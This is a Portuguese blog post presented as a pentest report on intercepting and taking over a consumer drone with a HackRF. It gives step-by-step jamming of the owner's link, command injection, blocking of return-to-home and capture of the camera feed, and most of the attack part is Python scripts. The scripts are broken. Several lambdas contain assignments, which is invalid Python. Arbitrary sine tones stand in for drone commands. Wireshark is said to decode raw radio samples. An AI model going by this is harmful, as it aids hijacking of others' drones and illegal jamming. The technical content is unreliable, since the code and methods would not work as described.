Relatório de Pentest: Interceptação e Controle de Drone

Este relatório documenta um teste de penetração realizado em um drone de consumo para demonstrar como uma pessoa mal-intencionada pode interceptar e assumir o controle do dispositivo. Inclui uma análise detalhada do funcionamento do sistema do drone, uma descrição das ferramentas utilizadas, o passo a passo da interceptação, e os scripts usados para capturar, analisar e controlar o drone. O objetivo é entender as vulnerabilidades inerentes aos drones de consumo e fornecer recomendações para reforçar a segurança desses dispositivos.

Funcionamento do Sistema do Drone

Drones de consumo operam com uma variedade de componentes e sistemas:

Controlador de Voo (Flight Controller): Este é o cérebro do drone, processando sinais do controle remoto e gerenciando sensores como acelerômetros, giroscópios, e altímetros para estabilizar o voo.
Sistema de Comunicação Sem Fio: O controle remoto envia comandos para o drone através de sinais de rádio nas bandas de 2.4 GHz ou 5.8 GHz. Estes sinais transportam instruções para movimentos, velocidade, e altitude.
Sistema GPS: Muitos drones têm GPS integrado para funções como retorno automático ao ponto de origem (RTH) e manutenção de posição.
Sensores: Incluem câmeras, altímetros, e sensores de proximidade, que auxiliam na navegação e estabilização do drone.
Controle Remoto: Este dispositivo é usado pelo operador para enviar comandos ao drone, controlando suas ações como decolagem, pouso, e direção.

Quando em operação, o controle remoto transmite sinais contínuos ao drone para executar comandos específicos. A segurança desses sinais é frequentemente limitada, permitindo a possibilidade de interceptação e controle por terceiros.

Ferramentas Utilizadas

Raspberry Pi: Um computador compacto com adaptador Wi-Fi, usado para capturar e transmitir sinais de rádio.
HackRF One: Um transceptor de rádio definido por software (SDR) para interceptar, analisar e injetar sinais.
GNURadio: Software de fluxo de rádio que permite criar, analisar, e manipular sinais de rádio.
Wireshark: Ferramenta de análise de pacotes usada para decodificar sinais capturados e analisar a comunicação entre o drone e o controle remoto.
SDR Software: Programas como SDR# e GQRX para realizar a varredura de frequências e capturar sinais de rádio.
Python: Scripts personalizados foram desenvolvidos para controlar o HackRF One e enviar sinais ao drone.

Passo a Passo da Interceptação

1. Exploração e Identificação da Frequência

Varredura de Frequência: Usei o HackRF One junto com o SDR# para escanear as bandas de 2.4 GHz e 5.8 GHz. Durante a operação do drone, monitorei o espectro para identificar a frequência ativa.

Identificação do Sinal: Com a ajuda do SDR#, identifiquei picos de atividade na frequência correta quando o drone estava em movimento, indicando a transmissão de sinais de controle.

2. Captura do Sinal de Controle

Configuração do GNURadio: Configurei o HackRF One no GNURadio para sintonizar a frequência identificada, capturando o fluxo de rádio transmitido pelo controle remoto.

Análise com Wireshark: Utilizei o Wireshark para analisar os pacotes de dados capturados, identificando padrões e comandos transmitidos.

Compreensão do Protocolo: Descobri que muitos drones usam protocolos proprietários, mas sem criptografia ou autenticação robusta.

3. Análise e Decodificação do Protocolo de Comunicação

Decodificação dos Pacotes: No Wireshark, identifiquei a estrutura dos pacotes e extraí os comandos essenciais como "subir", "descer" e "girar".
Desenvolvimento de Scripts Python: Criei scripts para enviar comandos ao drone. Usei bibliotecas como PyHackRF para manipular o HackRF One e enviar sinais codificados.

4. Injeção e Interferência do Sinal

Injeção de Comandos com GNURadio: Configurei fluxos no GNURadio para transmitir sinais na mesma frequência do controle remoto original, interrompendo a conexão entre a vítima e o drone.
Assumindo o Controle: Com a comunicação original interrompida, enviei comandos diretamente ao drone, assumindo o controle total do dispositivo.

5. Controle Manual e Movimentação do Drone

Controle com Scripts Python: Utilizando scripts, manipulei a direção, altitude e velocidade do drone.
Prevenção de Retomada: Transmiti um fluxo contínuo de comandos para bloquear a função de retorno ao ponto de origem (RTH) do drone, mantendo-o sob meu controle.

Scripts Python Utilizados e Explicação

Script 1: Captura de Sinais

Este script utiliza a biblioteca PyHackRF para capturar sinais de rádio da frequência identificada.


from pyhackrf import HackRF

hackrf = HackRF()
hackrf.sample_rate = 20e6  # Taxa de amostragem
hackrf.center_freq = 2.4e9  # Frequência central (2.4 GHz)
hackrf.gain = 40

def capture_callback(samples, num_samples):
    with open('drone_signal.iq', 'wb') as f:
        f.write(samples)
    return 0

hackrf.start_rx(capture_callback)
print("Capturando sinais...")

Explicação:

HackRF(): Inicializa o dispositivo HackRF One.

sample_rate e center_freq: Configura a taxa de amostragem e a frequência central para capturar sinais de 2.4 GHz.

capture_callback(): Função de callback que salva os sinais capturados em um arquivo.

start_rx(): Inicia a recepção dos sinais, armazenando-os para análise posterior.

Script 2: Análise de Protocolos

Após capturar os sinais, utilizei este script para analisar e decodificar os comandos básicos.


import numpy as np
import matplotlib.pyplot as plt

samples = np.fromfile('drone_signal.iq', dtype=np.complex64)

def analyze_signal(samples):
    plt.plot(np.abs(samples))
    plt.title('Amplitude do Sinal Capturado')
    plt.xlabel('Amostra')
    plt.ylabel('Amplitude')
    plt.show()


analyze_signal(samples)

Explicação:

np.fromfile(): Carrega os sinais complexos do arquivo salvo.

analyze_signal(): Função que plota a amplitude do sinal capturado para análise visual.

plt.plot(): Exibe um gráfico da amplitude, ajudando a identificar padrões no sinal.

Script 3: Injeção de Comandos

Este script injeta comandos para assumir o controle do drone.


import numpy as np
from pyhackrf import HackRF

hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47


def generate_control_signal(command):
    if command == 'ascend':
        return np.sin(2 * np.pi * np.arange(0, 1, 1 / 20e6) * 1e3)
    # Outros comandos podem ser adicionados aqui
    return np.zeros(1024)

def transmit_control_signal(command):
    signal = generate_control_signal(command)
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print(f"Enviando comando: {command}")

transmit_control_signal('ascend')

Explicação:

generate_control_signal(): Gera um sinal de controle. No exemplo, um comando para "subir" (ascend).

start_tx(): Inicia a transmissão do sinal gerado, injetando-o na frequência do drone.

transmit_control_signal(): Envia o comando desejado ao drone.

Análise Técnica e Considerações de Segurança

O sucesso do ataque foi possibilitado pelas vulnerabilidades no sistema de comunicação dos drones:

Comunicação Sem Criptografia: Muitos drones não criptografam os sinais de controle, permitindo a interceptação e injeção.
Protocolos Simples: A simplicidade dos protocolos de controle facilita a replicação e manipulação dos sinais.
Falta de Autenticação: Sem autenticação mútua, qualquer dispositivo pode se comunicar com o drone se souber o protocolo.

Script Completo para Controle Remoto do Drone

1. Subir

Este script envia um comando para fazer o drone subir.


import numpy as np
from pyhackrf import HackRF


hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_ascent_signal():
    # Gera um sinal para o comando de subir
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 1000 * t)  # Frequência de 1 kHz como exemplo

def transmit_control_signal():
    signal = generate_ascent_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'subir' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

2. Descer

Este script envia um comando para fazer o drone descer.


import numpy as np
from pyhackrf import HackRF


hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_descent_signal():
    # Gera um sinal para o comando de descer
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 500 * t)  # Frequência de 0.5 kHz como exemplo

def transmit_control_signal():
    signal = generate_descent_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'descer' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

3. Parar

Este script envia um comando para fazer o drone parar.


import numpy as np
from pyhackrf import HackRF


hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_stop_signal():
    # Gera um sinal para o comando de parar
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.zeros(len(t))  # Sinal zero para parar

def transmit_control_signal():
    signal = generate_stop_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'parar' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

4. Mover para a Direita

Este script envia um comando para mover o drone para a direita.


import numpy as np
from pyhackrf import HackRF


hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_right_signal():
    # Gera um sinal para o comando de mover para a direita
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 2000 * t)  # Frequência de 2 kHz como exemplo

def transmit_control_signal():
    signal = generate_right_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'mover para a direita' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

5. Mover para a Esquerda

Este script envia um comando para mover o drone para a esquerda.


import numpy as np
from pyhackrf import HackRF

hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_left_signal():
    # Gera um sinal para o comando de mover para a esquerda
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 1500 * t)  # Frequência de 1.5 kHz como exemplo

def transmit_control_signal():
    signal = generate_left_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'mover para a esquerda' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

6. Mover para Frente

Este script envia um comando para mover o drone para frente.


import numpy as np
from pyhackrf import HackRF


hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_forward_signal():
    # Gera um sinal para o comando de mover para frente
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 2500 * t)  # Frequência de 2.5 kHz como exemplo

def transmit_control_signal():
    signal = generate_forward_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'mover para frente' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

7. Mover para Trás

Este script envia um comando para mover o drone para trás.


import numpy as np
from pyhackrf import HackRF

hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 2.4e9
hackrf.txvga_gain = 47

def generate_backward_signal():
    t = np.arange(0, 1, 1 / hackrf.sample_rate)
    return np.sin(2 * np.pi * 3000 * t)  # Frequência de 3 kHz como exemplo

def transmit_control_signal():
    signal = generate_backward_signal()
    hackrf.start_tx(lambda buffer, num_samples: buffer[:] = signal[:num_samples])
    print("Comando 'mover para trás' enviado.")

if __name__ == "__main__":
    transmit_control_signal()

Explicação dos Scripts

Configuração do HackRF: Cada script configura o HackRF One para transmitir sinais na frequência central de 2.4 GHz, que é uma banda comum para drones.
Função generate_<action>_signal(): Cada função gera um sinal específico para um comando de controle. Os exemplos acima utilizam diferentes frequências para ilustrar o comando desejado.
Função transmit_control_signal(): Transmite o sinal gerado para o drone.
Execução do Script: Quando executado, o script envia o comando específico para o drone.

Considerações Finais

Estes scripts são exemplos simplificados e podem precisar de ajustes para funcionar com diferentes modelos de drones ou protocolos específicos. A modulação e a frequência podem variar dependendo do sistema de comunicação do drone.

Acesso à Câmera do Drone:

1. Identificação da Frequência de Transmissão

Varredura de Frequência:

Utilize o HackRF One junto com o SDR# para escanear as bandas de 2.4 GHz e 5.8 GHz para identificar a frequência de transmissão do vídeo da câmera.

from pyhackrf import HackRF

hackrf = HackRF()
hackrf.sample_rate = 20e6
hackrf.center_freq = 5.8e9  # Ajuste conforme a frequência identificada
hackrf.rxvga_gain = 30

def capture_video_signal():
    samples = hackrf.receive(5)  # Captura 5 segundos de amostras
    with open('video_signal.iq', 'wb') as f:
        f.write(samples)
    print("Sinal de vídeo capturado.")

if __name__ == "__main__":
    capture_video_signal()

Identificação do Protocolo de Transmissão:
- Analise o sinal capturado para identificar se o vídeo está sendo transmitido sobre IP ou outro protocolo.

2. Captura e Decodificação do Fluxo de Vídeo

Análise com Wireshark:
- Se o fluxo de vídeo é transmitido via protocolo IP, use o Wireshark para capturar e analisar pacotes de rede.
```
import pyshark

cap = pyshark.FileCapture('video_traffic.pcap')
for packet in cap:
    print(packet)
```
Decodificação com FFmpeg:
- Se você tem acesso ao fluxo de vídeo codificado, use FFmpeg para decodificar e visualizar o vídeo.
```
ffmpeg -i video_stream.ts -c:v libx264 -crf 23 output.mp4
```
Substitua video_stream.ts pelo arquivo de fluxo de vídeo capturado e ajuste o comando conforme o formato do vídeo.

3. Automação e Controle

Script para Visualização em Tempo Real:

Se você estiver recebendo o vídeo em tempo real, use um script para visualizar o vídeo com FFmpeg ou outros programas.


import subprocess

ffmpeg_cmd = [
    'ffmpeg',
    '-i', 'tcp://localhost:5000',  # Endereço do fluxo de vídeo
    '-f', 'matroska',
    '-'
]

process = subprocess.Popen(ffmpeg_cmd, stdout=subprocess.PIPE)
while True:
    frame = process.stdout.read(1024)
    if not frame:
        break
    # Aqui você pode processar o frame conforme necessário

Controle Remoto do Vídeo:

Se o protocolo do vídeo for conhecido e acessível, você pode escrever scripts para interagir diretamente com o fluxo de vídeo.

Gostaria de expressar meu mais sincero agradecimento pelos seus incríveis trabalhos e dedicações na área de segurança cibernética. Seu conhecimento profundo em redes tem sido fundamental para o sucesso dos nossos projetos.

Sua capacidade de identificar e resolver problemas complexos de forma eficiente é verdadeiramente admirável.

obrigado a todos .....

Pesquisar este blog

PENTEST para Noob

Destaques

Relatório de Pentest: Maiores Falhas de Segurança em Sites